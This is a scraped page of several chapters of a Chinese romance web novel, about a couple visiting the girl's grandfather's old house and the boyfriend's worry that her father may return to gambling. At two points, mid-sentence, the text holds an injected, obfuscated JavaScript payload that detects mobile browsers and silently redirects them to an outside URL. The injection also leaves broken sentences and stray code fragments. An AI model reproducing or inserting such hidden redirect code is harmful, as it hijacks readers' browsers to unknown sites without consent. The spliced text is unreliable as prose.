他将西瓜送到厨房,说:“切一下,老李家自己种的,非得让我拎一个回来。” 方姐应了声:“好。” 孟棠往大门外瞥了眼,随后看了眼时间,问孟遇春:“他晚上不回来吗?” 孟遇春知道他问的孟怀璋,说:“魏川在这儿呢,不回来像什么话,刚才在门口碰到,我让他去买点熟食。” 孟棠“哦”了声:“下午您怎么还真让他劈柴去了,他哪里做过这事?” 孟遇春哼了声:“那你爷爷这身老骨头去砍?” 孟棠:“……” 她倒也没这个意思。 就在这时,孟怀璋拎着两三盒熟食回来了。 见到孟棠,他扬了下手,说:“你爱吃的熏鸡。” 孟棠下意识抿了抿唇,纠结着说了一声“谢谢”。 魏川从浴房出来,短发还挂着水汽,他不羁地撩了一把,径自坐到餐桌旁,朝孟怀璋微微颔首:“叔。” 孟棠诧异地转过头,心想这人喊的这声真是毫无心理负担。 孟怀璋应了声,招呼着他吃饭。 平日里吃饭的氛围很寡淡,今晚有魏川在,气氛都轻快了许多。 不过也是方姐的手艺好,他最喜欢鲳鱼烧年糕和蛏子炒蛋。 方姐炒了四个菜一个汤,另外还有三份熟食。 按照平时是绝对吃不完的,但今晚魏川在,几乎全扫了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038175|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>孟遇春在心里啧啧两声,怪不得长那么高,这饭量确实是可以。 反观孟棠,已经停了筷子。 孟遇春蹙眉:“就不能多吃一点?” 孟棠眨巴着眼:“可我吃不下了。” “别逼她吃。”魏川抽空抬头,“吃撑了也不舒服。” 孟遇春:“……” 他就不该说话。 孟棠垂下头,默默笑了笑。 饭后没多久,方姐将切好的西瓜拿出来,几个人分一分也就没了。 魏川是彻底撑了,他洗了手和脸,转头跟孟棠说:“出去消消食。” 孟棠和老爷子说了声,起身牵着魏川出了大门。 “附近有什么散步的地方吗?”魏川提醒她小心台阶,接着问了句。 孟棠说:“这里是老城区,东边有个景色还不错的公园,不少人都会在那儿散步锻炼,这个点人应该很多,不过大门的另一侧,比较暗黑,人相应少一些。” “就去那儿。”魏川可不乐意去人多的地方,亲个嘴都能被打扰。 孟棠不知道他的想法,傻乎乎地带着路。 越过长长一条路后,两人过了马路,这边各种各样的灯多了起来,瞬间照亮了两张精致漂亮的脸蛋。 运动器械上都是人,挂着甩来甩去的,魏川社牛一个,路过时,还拍了人家的肩膀:“大爷,牛啊。” 大爷甩得更起劲了。 孟棠:“……” 这手是真欠! 孟棠拍了下他:“你就不能老实点。” “我鼓励鼓励老人家也不行?”魏川实在委屈。 孟棠:“……我怕你突然上手,把人家吓出阴影来。” 魏川搂住她:“行,我错了,下次不拍大爷了,拍年轻小伙子。” “……” 沉默两秒后,孟棠实在没忍住,笑喷了。 魏川陪着她停了脚步,小声问:“笑什么?” 孟棠笑得肚子疼,将自己抵在他胸口缓了缓:“我真服你了。” 能让她情绪这么外泄的,只有魏川。 笑了半天,孟棠感觉头皮都是麻的。 “好了好了,脸都笑僵了。”魏川拍了拍她的肩膀,“继续走呗。” 两人穿过湖边,又经过公园正门,终于找到了一个人少的地方。 散步散了差不多半个多小时,魏川看到了路尽头的户外椅。 两边绿树环绕,十分私密。 他将孟棠拽过去:“休息会儿。” 孟棠应了声,刚要坐,突然被他阻止了。 还没来得及问为什么,魏川已经搂住她的腰,将她拽到了腿上。 孟棠吓了一跳:“会有人路过。” “路都走到头了,谁还会过来。”魏川夹住她的腿。 孟棠推了推他:“万一被看见怎么办?” 魏川朝四周看了下:“这黑灯瞎火的,谁能看见?” “那你放我下来。”孟棠进行最后的挣扎。 “椅子也不知道脏不脏。”魏川凑近她的耳边,“凑合一下呗。” 孟棠对于在户外的亲密有些不习惯,虽然这里确实黑灯瞎火。 她的沉默就是默认,魏川从喉间溢出一声低沉的轻笑,唇瓣故意摩挲了下孟棠的耳朵,小声蛊惑: “宝宝,亲一下。” 第159章 腿真白 地灯像萤火,泛着幽幽绿光,只照亮四周的地坪。 黑暗中,两道呼吸相抵,魏川的鼻尖几乎抵着孟棠的鼻尖,故意似的,他往前撞了下。 孟棠偏头躲避,魏川滚了下喉结,亲了上去。 他的手掌顺着她的后背移动至后颈,牢牢钳制住下意识往后躲的人。 亲的时候,魏川的手也不老实,指腹故意在孟棠耳朵下面的颈侧轻轻滑动,惹得孟棠轻微抖了下身体。 细微的发现让魏川轻笑了声,大拇指稍稍使力,迫使孟棠张开了嘴巴。 暧昧升温,长驱直入。 孟棠心如擂鼓,只求魏川能早点放过自己。 显然,魏川根本不想放。 他每一道急促的呼吸都在深刻地提醒彼此,他有多喜欢亲吻。 带着点克制,充斥着温柔的吻。 不知过了多久,魏川稍稍退开,说:“这个高度很适合接吻。” 站着的话他要勾着头,孟棠要踮着脚。 孟棠环住他脖颈的手紧了紧:“走吗?我被蚊子咬了好几个包。” 魏川一听,立刻掏出手机打开了灯:“哪里被咬了?” “小腿和脚踝。”孟棠伸手挠了挠,“不过没事,方姐一到夏天就会做一些药膏备着,我房间有。” 魏川关了手机灯,顺势搂住孟棠,说:“走,先回家。” 两人小臂紧贴,十指相扣。 魏川没了欣赏夜色湖光的心思,孟棠小腿上的几个红包成了他心头大事。 也怪他皮糙肉厚,没能给她分担点火力。 回了家,院中漆黑,孟棠看了眼时间,对魏川说:“他们年纪都大了,已经睡下了,你动作轻点,把大门锁了,我先去洗澡,你也去睡吧。” 魏川应了声“好”,轻手轻脚关了大门。 他并没有回房间,将孟遇春的躺椅搬到了海棠树下,一晃一晃地看着明亮的夜空。 孟棠洗澡洗了半个多小时,头发沾湿了些,她索性全部放下。 浴室和卧房是没有连在一起的,因为孟棠是女孩,孟遇春自小就给她装了单独的浴室。 从小到大,没人用过她的浴室,即便她不在家,方姐也每天打扫熏香,保持干净。 魏川是实实在在第一个用她浴室的人。 推开窗户散水汽,孟棠出了浴室的门。 刚想绕过海棠树回屋,她被树下的人吓了一跳:“你怎么还没去睡?” 魏川轻笑一声:“等你呢。” “等**什么?”孟棠拨了下有点潮湿的发尾。 魏川起身,说:“先进房间吧,外面有蚊子,我看看你腿上的包。” “都说了没事。”孟棠径自推开房门,越过书房后去了卧室。 孟棠的卧室在最里面,进去还得越过一道珠帘。 魏川伸手拨开,看清了她卧室的全貌,一时有些愣神。 孟棠在床边坐下,仰头问他:“你怎么了?” “我去。”魏川发出一声感叹,“我这是误闯了哪位大小姐的闺房啊?这是架子床吗?” 边说,他边上手摸了摸。 孟棠轻笑:“爷爷做的,好多年了。” 魏川碰了下床柱,问:“四根床柱雕的是四季?” 孟棠回:“准确来说是四季的物,春兰、夏荷、秋菊和冬梅,寓意四季圆满。” 一时半刻,细节根本看不完。 而床侧的衣柜和多宝阁,更是令人赞叹手工艺非凡。 “这些都是老爷子做的?”魏川问。 孟棠点了点头:“是啊。” 魏川在她身边坐下,说:“你这房间真有意思,我都不想走了。” 孟棠:“……” “开玩笑的。”魏川见她不说话,松开挂钩,让蚊帐卸下挂到中间,“你腿上抹药膏没?痒不痒?” 孟棠从床围抽屉里拿出方姐做的止痒消肿的药膏,说:“我自己涂,你赶紧睡觉去。” 魏川伸出手腕让她看自己的手表:“其实还不到十点。” 孟棠开了药膏的盖子,魏川一把夺了过去,旋转出一点绿色的膏体,将孟棠的小腿托在掌心:“我给你涂。” 孟棠:“……我不会吗?” “我乐意呗。”魏川笑了声,“腿真白。” 孟棠对着他胸膛就是一脚:“你到底是涂药还是耍流氓?” “涂药涂药。”魏川赶紧帮她起了红包的地方涂上药膏,又凑过去,用嘴巴吹了吹。 孟棠猛地缩回脚:“不用吹。” 魏川笑了声,解开了另一边的蚊帐,将孟棠整个人压在了身下。 “魏川!”孟棠恼羞成怒,“赶紧给我起来。” 魏川只是逗人玩,还在别人家里呢,他怎么可能会跟孟棠睡一屋。 见女朋友花容失色,他还浅浅地笑了声,随**住她肩膀摩挲了下:“逗你玩呢。” 孟棠哼了声,转过身体盖上了薄被。 “我走了。”魏川将她掰过来亲了一口,“晚安。” 孟棠终于笑了:“晚安。” 等魏川走后,孟棠才松了口气,太黏人了。 孟棠其实很喜欢待在雁清的老宅子里,最喜欢一大早半醒不醒时,透过窗户听到外面方姐和老爷子的说话声。 “今天早上做了什么?”老爷子问。 方姐:“弄了点小笼包,快好了,我再去弄两个小菜,您转着去吧。” “昨晚两个小的什么时候回来的?” “九点。”魏川托着困倦的声音从房间出来,回答了孟遇春的话。 孟棠动了动眼皮,终于睁开了眼睛。 她撩开蚊帐起了身,换了衣服开了门。 出来的时候,老爷子已经出门了。 孟棠对魏川招了招手:“跟我去洗漱。” “好嘞。” 两人没去浴室,蹲在菜园子旁边的排水沟里刷了牙,随后用凉水随意抹了把脸。 方姐去浴室拿了洗脸巾给他俩:“懒成这样。” 魏川笑了声:“方姐,今天早上做了什么好吃的?” “小笼包。”方姐笑盈盈的,“待会儿你们先吃,今天水缸要洗,我得去忙。” 魏川赶紧拦住她:“洗水缸也不能不吃早饭呀,吃完早饭我帮你。” “行。”方姐一口答应。 二十来分钟,老爷子从门外散步回来,手里还拎着一块豆腐,显然是中午要做的。 魏川去接了,送去了厨房。 孟怀璋得去上班,匆匆拿了几个包子就走了。 桌上只剩他们四个人,魏川和方姐 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孟遇春没被吓到,只是抬了抬眸:“你把我家的古董刷坏了?” 方姐无奈地叹了声气:“小祖宗,你这什么力气啊?” 孟棠看到一地的碎片,突然笑了声:“你逞什么能?还真在这儿刷缸了?” “你不是在忙吗?我就想着帮方姐做做事。”魏川尴尬地笑了笑,“要不我赔一个?” 孟遇春指了指大门口:“去吧,老街陶坊就有得卖,方姐今天中午的饭还没做,你俩就在外面吃一口吧。” 魏川指了指地面:“我先把这些收拾了吧。” “不用你收拾。”方姐赶紧阻止他,“你赶紧带小棠出去吧,这里我来收拾。” 魏川不好意思:“还是我收拾吧。” “真不用。”方姐将他俩往外推,“赶紧去买个水缸回来,家里要用的。” 孟棠拉住魏川的手臂:“赶紧走吧。” 魏川和孟棠出了大门,问:“老街在哪儿?” “还远呢。”孟棠说,“在北面,坐公交吧。” “不打车吗?”魏川问。 孟棠说:“打车也行,只不过公交车就在宅子后面。” 魏川牵住孟棠的手,说:“那就先过去,哪个先来坐哪个,带硬币了吗?” 孟棠拍了拍自己的包:“有公交卡。” 两人运气不错,刚走到公交站台,公交就停在了面前。 孟棠拉着魏川上了车,刷了卡,去了后面的位置坐下。 大中午的,坐车的没几个人。 孟棠看了眼窗外,回眸跟魏川说:“我以前上学,就是走的这条路,六站就到了。” 魏川拉过她的手:“高中吗?” “是啊。”孟棠说,“一会儿经过就能看到。” 六站也就一会儿的工夫,一所高中缓缓现于眼前。 孟棠拍了拍魏川:“看,就是这里。” 魏川却没掉过头,他一直看着窗户的另一侧,直至公交车往前走了,他还掉头勾着看。 那不是孟怀璋和李寒津吗?他俩怎么总在一起? 直觉让魏川觉得没什么好事。 第160章 有没有追你的男生 孟棠见魏川没动静,拉了下他的手臂,问:“你看什么呢?” 魏川终于回过神:“没看什么。” 孟棠松开了他,说:“学校已经过去了。” “没事,回来再看呗。”魏川说,“到站后咱们吃什么?” 孟棠说:“雁清的北边人口集中,有个中心村,里面各种各样的吃食都有,你想吃什么?” 魏川说:“都可以。” 还得有几站,魏川搂住孟棠,问她:“你以前都是自己一个人坐公交上下学?” 孟棠迟疑了两秒,说:“也不能算一个人,因为有很多同学。” “男同学还是女同学啊?”魏川用指腹蹭了下她的脸。 孟棠往后仰了下,转头说:“当然有男有女了。” 魏川胳膊绕过她的后颈,一把将人勒了过去:“那有没有追你的男生?” 孟棠不擅长撒谎,清了清嗓子,转移话题:“马上到站了。” 魏川哼了声:“看来是有啊。” 他现在就能想象出孟棠穿着高中校服,乖乖巧巧,模样白净,扎个一个高马尾的模样。 一想,心里更酸了。 “是不是很多人追你?”魏川追问,“几个啊?” “没几个,就——”孟棠猛地住了嘴,“问这些干什么,我又没跟他们谈。” 魏川一下倒在孟棠肩头:“我要是高中遇到你多好啊,来个一见钟情。” 孟棠推了下他的头:“还一见钟情,大一你帮我拎箱子,也没见你对我多看两眼。” “那是因为我尴尬。”魏川抬起头,“我没做过这么尴尬的事,我连你的脸都不敢看。” 要不是破箱子不给力,他也不至于对孟棠没印象,不然也不至于让学姐给她赔个箱子就没了下文,也就许鹤清和谢泠音的事了。 北街站到了,孟棠拉着魏川下了车。 下车的地点正好是中心村的大门口,从这里进去,每一条通道都是吃喝玩乐的地方。 纠结半天,两人进了一家老排档,点了三个菜。 这种地方的菜火候很足,适合重口的人。 其实魏川因为训练的原因,吃的都比较清淡,孟棠也是,也不知道这两人怎么想的,选了这么个地方。 很快,菜上齐。 魏川尝了一筷子,对孟棠说:“你别说,还挺好吃。” 孟棠点点头:“偶尔吃一顿是可以,经常吃受不了。” 店里生意挺火爆的,没一会儿坐差不多了。 吃完饭,孟棠放下筷子,去买了两瓶纯净水,刚要转身,突然被人叫住了:“孟棠?” 孟棠回眸,发现是自己的高中同学——钟文进,和周飞玩得好。 而周飞就是曾经追过她,又因为孟怀璋反过来倒油她的人。 前尘往事,根本也不值得孟棠记在心里,她淡淡地笑了笑,和对方打了招呼。 高中毕业两年,孟棠的漂亮又上了一个高度。 钟文进笑着问:“你一个人吗?” 孟棠摇摇头:“跟我男朋友一起来的。” 钟文进挑了下眉。 话音刚落,魏川走了过来,伸手搭在了孟棠的腰上。 孟棠将纯净水给他,顺道给他介绍了下。 钟文进一愣:“你男朋友好高,看着有点眼熟。” 魏川喝了三分之一的水,说:“看过cubal吗?” “我知道cubal。”钟文进说,“但看的少,你打篮球的?” 魏川点了点头。 钟文进笑了声,故作玩笑地对孟棠说:“你这是找替身来了?” 孟棠和魏川同时蹙眉,魏川看着钟文进:“什么替身?” 孟棠觉得恶心,对魏川说:“……我们走吧。” 魏川顿了下,朝她笑了笑:“好,先去买缸。” 孟棠没跟钟文进打招呼,直接拉着魏川走了。 钟文进站在原地,给周飞发了一条语音。 孟棠带着魏川去了老爷子指定的陶坊。 水缸有大中小型号,家里那个是中号,孟棠指了指中号的水缸:“老板,这个多少钱?” “素面的便宜,160。” “送货吗?” “送。”老板说,“正好三轮车回来了,你俩要回去的话,顺道给你俩也一起拉回去。” 孟棠看向魏川:“你可以坐吗?” 魏川点点头:“当然可以了。” 老板让他俩等一会儿:“我先去把水缸弄上三轮车。” 孟棠看向魏川,欲言又止了好几遍,下定决心要开口时,老板让他俩上去。 魏川扶住孟棠的手臂:“慢点啊。” “嗯。”孟棠应了声,“你也是。” 魏川大长腿一跨,进了三轮车后面。 老板说:“有干净的泡沫垫,你俩就坐那儿。” 魏川道了声谢,将泡沫垫摆好,拉着孟棠坐了下来。 三轮车悠悠晃晃拐上了大路,魏川怕孟棠硌着,伸手将她搂进怀中。 这样的体验真真切切第一次,魏川伸直腿,将裤子口袋的手机拿了出来,调成自拍的镜头。 孟棠看过去,微微扯了下嘴角。 魏川第一次坐三轮,觉得挺有意思的,一直拉着孟棠拍照。 孟棠从镜头里窥探到他的笑,心里又酸又软。 刚才钟文进的话明显他听进去了,却没问她,依旧还和平时一样对待她。 孟棠也没管镜头还在拍,掰过他的脸亲了上去。 魏川一愣,下意识追逐过去,孟棠却已经松开了他。 三轮车开到学校附近,孟棠指了指:“看见没,我以前高中就是在这里读的。” 魏川望过去,青瓦屋檐,“雁清中学”四个大字横立阳光下。 孟棠说:“我们学校图书馆的屏风是我爷爷雕刻的。” 魏川往里看去,脑子里总要浮现孟棠穿着校服从里面出来的身影。 三轮车速度也不慢,学校一闪而逝。 二十来分钟,三轮车在孟棠家门口停下。 魏川帮着老板将水缸运进了家里,方姐看到新的,笑着对魏川说:“这下可不能跟我抢着刷了吧?” 魏川尴尬地笑了声,抬手说:“您请。” 孟棠注意到原来水缸的碎片还没扔出去,说:“方姐,我去把这些垃圾扔掉。” “别动,我来。”魏川见她要伸手,连忙拦住,拎起了已经整理好的垃圾碎片,出了大门。 孟棠跟了出去。 魏川熟门熟路找到路边的大型垃圾桶,转头时看到孟棠,问:“你怎么跟出来了。” “要吃冰淇淋吗?”孟棠问。 “你想吃啊?”魏川掰过她的肩膀将她往宅子里推,“我去买,现在太阳那么大,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045874|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先回房歇着。” 孟棠回眸:“我还是跟你一起去吧。” 魏川将她送到门口:“不用,我一会儿就回来,你先进去,晒黑了就不好看了。” 孟棠只能回了房间。 左等右等也没等到人回来,孟棠有点着急,又出了院子。 见方姐还顶着太阳刷缸,孟棠劝了句:“太阳落山再刷呗。” 方姐说:“我没事,不怕热,刷好正好晒晒,倒是你,细皮嫩肉的,赶紧进屋休息去。” 孟棠看了眼手机,说:“也快一点了,爷爷还没起来?” 方姐:“休息得迟,一会儿也就起了。” 孟棠“哦”了声,一个劲往门口张望。 方姐刷好了水缸,捶了捶腰,道:“小棠,我先进屋休息会儿,你也别站太阳底下晒了。” “好,我等一等魏川。”孟棠说,“您先休息吧。” 孟棠又等了五六分钟,魏川才满头汗地跑了进来。 他一头扎进孟棠的房间,嘴上呼着气:“热死我了。” 孟棠给他擦了把汗,问:“怎么去了这么久?” 魏川将袋子打开:“想给你买好一点的冰淇淋,所以跑得远了。” 说到这里,魏川哽了下,估计是跑得急了,缓了缓,他又说:“拿着的容易化,给你买了哈根达斯的夏威夷果仁。” 孟棠接过,抿了抿唇。 “你先吃,剩下的我扔到厨房的冰箱。” 孟棠在桌前坐下,等魏川过来的时候,给他喂了第一口。 “好吃。”孟棠被冰了下,“我也有,你自己吃吧。” 孟棠垂头挖了一勺,侧眸看向魏川:“你怎么不问钟文进说的事。” 魏川笑了笑:“想说就说呗,凭我这条件,老子还能是替身了?” 孟棠失笑,是真自信。 “钟文进说的那个人其实叫周飞,我以前跟你说过的。”孟棠瞥了眼魏川,“孟怀璋的事被他们知道了。” 魏川点了点头:“也就是说,那个叫周飞的喜欢你,但因为知道了你爸爸的事,又反过来骂你?” “不知道算不算骂。”孟棠轻嗤,“反正不是什么好话。” 魏川揽住她后脑勺,撞了下孟棠的额头:“那你喜欢过他吗?” 孟棠睁大眼睛:“当然没有。” 魏川哼了声,带着冰淇淋的香甜和冰凉吻上了她。 半晌,魏川松开了孟棠,哄道:“好了,不要想无关紧要的事,我希望我俩在一起的每一天,你都是开心的。” 孟棠咬住下唇,“嗯”了声。 孟遇春从屋里出来,去厨房烧了水。 魏川听到动静,起身对孟棠说:“你吃完就休息,我去看看老头在干嘛,厨房搞得噼里啪啦的。” “好。”孟棠轻笑一声。 孟遇春烧水泡茶,见到魏川捧着冰淇淋,感觉牙一抖。 魏川凑过去,小声道:“老头,你知道你儿子最近很不乖吗?” 孟遇春皱了下眉:“怎么了?” 魏川哼了声:“我看到他和李寒津在一起,你也知道的,李寒津对孟棠可没什么好心眼,我烦他都来不及,他还整天跟人家在一起。” 他像个告状精。 孟遇春沉吟片刻,招了招手:“你过来。” 魏川凑过去,老爷子在他耳边说:“你这样……” 第161章 他到底算个什么东西 孟棠吃完冰淇淋后去洗了手。 魏川敲了敲她的窗户,从外往里勾着头:“吃完了?” 孟棠笑着走过去:“怎么不进来?” 魏川见她从书架上抽了一本书,问:“你不午休?” 还得等油泥渗透,孟棠暂时没事,说:“我去里面看会儿书,说不定一会儿也就睡着了。” 魏川看了眼她的书名——《佛像雕刻》 欣赏不了一点,他说:“你先睡,我出去一趟。” “出去干什么?”孟棠瞥了眼窗外,“天气这么热,你不进来歇着?” 魏川说:“老头让我给他买个东西。” 孟棠狐疑地看着他:“买什么?” “昨天他去跟人家老头下棋,丢了一只炮,我再去给他买一副完整的。” 孟棠:“……他怎么不自己雕一个?” 魏川:“……现买的不是方便嘛。” 孟棠“哦”了声:“行,那你去吧。” 魏川朝她勾了勾手指:“过来,亲一下。” 孟棠的目光看向院中,有些不好意思:“爷爷还在呢。” “看不见。”魏川小声道,“快点过来。” 孟棠走了过去,魏川得意一笑,一把拦住她的后颈亲了下去。 老爷子狠狠咳了两声。 孟棠猛地推开魏川,魏川得逞一笑,转头跑了。 孟棠默默关上了窗户。 一直坐在书房的话腰酸背痛,孟棠索性将书拿进了卧室。 没看一会儿,她眼睛就闭了起来。 魏川直到下午三点才回来,回来的时候,拿着一副象棋和两瓶茅台。 方姐正好休息好来了中院,洗刷洗刷准备晚饭。 见到魏川拿着的东西,惊讶了一瞬:“老爷子不能喝酒,你买这个干什么?” “叔不喝吗?”魏川说。 方姐一愣,没想到是买给孟怀璋的,还是这么好的酒。 孟遇春抬了抬眼:“谁让你买这么好的酒?” 魏川“嗐”了声:“正好碰到专卖店了,方姐,把东西放好吧,我去看看孟棠,她还在睡?” 孟遇春说:“时间也不短了,你去把她叫醒,省得头疼,晚上再睡不着。” “好嘞。”魏川应了声,殷勤地推开了孟棠屋子的门。 孟棠果然还在睡,呼呼的,像小猪,嘴巴还微微张着,手边的书卡在床上,魏川拿过来一看,还是第一页,倏地轻笑一声。 他在床沿边坐下,捏了下孟棠的脸。 孟棠抓住他的手腕,闭着眼睛嘟囔:“你好烦。” “起来了。”魏川说,“太阳都快下山了。” 孟棠猛地坐起来,却一阵晕眩。 “别急别急。”魏川扶住她,“逗你呢,三点刚过。” 孟棠一下泄了气,将自己靠在他身上。 魏川低头亲了下她,将人抱住,叹了声气:“住在你家真舒服啊,我有点明白你为什么喜欢在家待着了。” 菜园子永远有鲜绿的菜,没有复杂的人际关系,方姐整天忙着做各种各样的吃食……太舒适了! “你喜欢啊?” “喜欢。” 孟棠松开他,故意说:“喜欢也差不多了,打算什么时候回去?” 魏川说:“后天吧。” 孟棠点了点头:“你这几天都待在这里,你爸妈没意见?” “我每天晚上不都跟他们打电话了?”魏川说,“再说了,我爸忙得很,我妈整天和她朋友到处玩,白天基本也不在家,我奶奶去了外地避暑,我回去干什么,还不如赖在你家。” 孟棠白了他一眼:“天天找借口。” 魏川一把搂住她的肩膀:“怎么就这么想赶我走?马上训练,将近一个月不能见面,你想弄死我啊?” “不是还可以视频吗?”孟棠下了床,将掉落在床上的发圈捡起来绑头发。 魏川趁她两手在头发上捣鼓,直接抱住了她的腰。 “视频有什么意思,摸不到亲不着的。” 孟棠绑完头发,摸了摸他的短发:“你整天就想这些?” “难受啊。”魏川叹了声气,“这还没离开呢。” 孟棠刚要说点话安慰安慰,方姐敲了敲门:“你俩赶紧出来,我做了莲藕酥。” 魏川松开孟棠,出了房门。 方姐还给配了茉莉龙井,几个人躲在阴凉里美美地开始下午茶时光。 就在这时,孟怀璋打回来电话,说晚上有事,不回来吃饭了。 魏川和老爷子对视一眼,默不作声。 方姐晚饭做得早,不到六点就开饭了。 今晚魏川没把孟棠带出去散步,生怕她又被蚊子咬。 天色暗下后,两人坐在海棠树下闲聊。 魏川拿着芭蕉扇,给孟棠慢慢地扇风,聊到最后,两人一句话也不说了,默契地望着头顶上的星空。 孟棠记得小时候,不管是月亮和星星都很亮,现在已经难得一见了。 即便是晚上,空气也还是夹杂着热浪。 魏川用芭蕉扇拍了下孟棠的腿,说:“赶紧洗澡去吧。” 孟棠应了声,起身拿了衣服去了浴室。 洗完后,两人互相道了晚安。 魏川指了指大门:“你先回房,我给你爸留个门。” “好。”孟棠转身回了房间。 大概一个小时,孟怀璋回了宅子。 刚踏进侧门,魏川幽幽来了句:“叔,您回来了。” 孟怀璋一个踉跄,差点摔倒,魏川伸手扶了他一把。 “您小心点。” 孟怀璋差点没被他吓死,缓了缓,问:“你怎么在这儿?” 魏川吊儿郎当道:“给您等门啊。” 孟怀璋问:“方姐呢?” 魏川说:“方姐忙活了一天,我让她先睡了。” 孟怀璋说:“那你也去睡吧。” “方姐给你留了饭菜,叔,您吃了没?”魏川反手锁了门,“没吃可以去厨房,我今天买了两瓶茅台,爷爷也不喝酒,不知道您喝不喝。” 孟怀璋眼眸一转:“方姐留了什么菜?” 魏川笑道:“下酒菜呗。” 孟怀璋轻咳一声:“我一个人啊……” “我陪您一起。”魏川说,“不过我不喝啊,我给您倒酒。” “行。” 孟怀璋和魏川一起进了中院,不过他没去厨房,径自去了孟棠的卧室窗下。 里面灯光还幽幽亮着,孟怀璋看了眼就往厨房去了。 魏川一刹那有些触动,他是想看看孟棠睡没睡吧? 下酒菜就在桌上搁着,魏川拿了酒和酒杯去了餐桌边。 孟怀璋看着 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后来大了,孟棠懂事了,也就不往他跟前凑了。 他整日不着家,再回来时,已经被人做局关了进去。 九年,整整九年,他肯定后悔过,但后悔无用,只能留下孤寡老头和稚龄**相依为命。 越想,孟怀璋越是不得劲,不知不觉就喝多了。 魏川拍了拍孟怀璋的肩膀,低声问:“李寒津也陪了孟棠几年,你是不是很感激他?” “唔……”孟怀璋应了声,从桌子上抬起了头,眼神虚虚地看向魏川,“他是好人。” 魏川轻嗤了声:“他给你什么了,就是好人了,我还给你茅台喝了,我是好人吗?” “你……”孟怀璋顿了下,“你对我也不错。” 还有点良心,魏川在心里吐槽一声,问:“李寒津最近干什么呢?他是不是经常来找你?” 孟怀璋点了点头:“他忙工作室的事呗。” “就这个事?”魏川皱了皱眉。 “也不止。”孟怀璋说,“说了些孟棠的事。” 果然,魏川冷笑一声:“他说了孟棠什么事?” 孟怀璋说:“说了你和孟棠的事。” “还有我的事,肯定没安好心吧?”魏川拿走孟怀璋的酒杯,“李寒津到底说了什么?” 孟怀璋也没闹着要喝酒,他搓了花生米的皮,扔了一粒花生米进嘴里。 “他说你家境好,孟棠配不上你。” “操。”魏川是真的生气了,“他到底算个什么东西?我跟孟棠的事轮得到他说话吗?真把自己当盘菜了。” 孟怀璋摆了摆手:“他就是说怕你父母不喜欢孟棠,门不当户不对的,担心孟棠而已。” “呵,您真是越老越单纯。”魏川气笑了,“李寒津心怀不轨,赶紧醒悟吧。” 桌上,孟怀璋的手机响了起来。 魏川拿了手机给他:“给,有人找你。” 孟怀璋努力撑着眼皮接了电话:“喂。” “老孟,明晚一起吃饭啊?” 孟怀璋说:“吃饭可以,打牌不行。” 魏川倏地一愣,打牌? 第162章 等我过来接你 孟怀璋说完,直接挂了电话。 魏川趁他手机还没黑屏,记下了对方的号码,随后将孟怀璋扛回了房间。 洗完澡,魏川看着手机上的号码开始沉思。 孟怀璋说吃饭可以,打牌不行,听语气挺熟悉的。 可他一个因**进去的人,就不应该再和会**的人来往,还约饭。 物以类聚,人以群分,谁也不能保证孟怀璋会不会再犯。 若是再欠了债,要让他的孟棠卖老宅吗? 魏川皱了下眉,真是不让人省心啊。 看来电话里这个叫“老廖”的人,他得查一查。 不过他这个脸生的一去就得露馅,也不能让他家里人去查。 想到这儿,魏川根本睡不着,他干脆轻手轻脚出了屋子。 见孟棠的窗户已经黑了,魏川径自去敲了孟遇春的门。 敲了两声里面没反应,魏川索性推开了门。 老头子正打鼾呢,魏川只犹豫了两秒,晃了晃孟遇春的肩膀:“老头,赶紧醒醒,别睡了。” 孟遇春迷迷糊糊地睁开了眼睛,好半晌才回应过来:“我说你是不是有病?这大半夜的,是喊我起来重睡吗?” 魏川挠了挠头:“还不是你那不省心的儿子,我怀疑他又得去赌。” 孟遇春一下清醒了:“你说什么?” “老廖你认识吗?”魏川说,“他打电话过来约叔去吃饭,但叔说只吃饭,不打牌。” 孟遇春蹙了蹙眉:“这个老廖是开麻将馆的,他以前和怀璋是朋友,麻将馆是不抽水的,赚的是场地费和餐饮销售。” 也就是说,在那边的打牌都是消磨时间,娱乐而已,不到**的程度。 但孟怀璋有前科,即便是麻将馆,他也不能去。 “我明天去看看,你睡觉去吧。” 魏川应了声,返回了房间。 第二天上午,魏川明显心不在焉。 再一次的发呆弄掉手机后,孟棠忍不住了:“你在想什么?” “没有啊。”魏川看向她,“我不是在玩手机嘛。” 孟棠皱了皱眉,往院中看了眼:“爷爷怎么没在家?” 话落,老头从前院进了中院。 魏川蹭一下站了起来,孟棠眨了眨眼,他这么急干什么? “怎么样啊?”魏川迎了上去。 老爷子摇了摇头:“没打过牌,吃了两顿饭。” 魏川松了口气,没打就好,说:“麻将馆还是少让他去吧。” 孟棠这时走过来,问:“你们说什么呢?” “没有。”魏川转身朝她笑了笑,“我关心关心老人家。” 方姐从厨房出来,喊一声:“吃饭了。” 魏川赶紧去端菜盛饭。 中午孟怀璋不回来,四个人的氛围挺轻松的,孟遇春问魏川:“明天几点的车?票买了没有?” 魏川说:“上午九点的车,赶回家吃个午饭。” 孟遇春点了点头:“明天让孟棠送你去车站,以后有机会再过来玩。” “好。”魏川扬起一抹笑,“我25号训练就结束了,到时候过来接孟棠去学校。” 孟遇春说:“行,你们自己安排吧。” 下午,孟棠将油泥拿了出来,还没动手,方姐匆匆跑过来说前面有人找她。 孟棠一愣:“谁找我啊?” 方姐说:“说是你同学。” 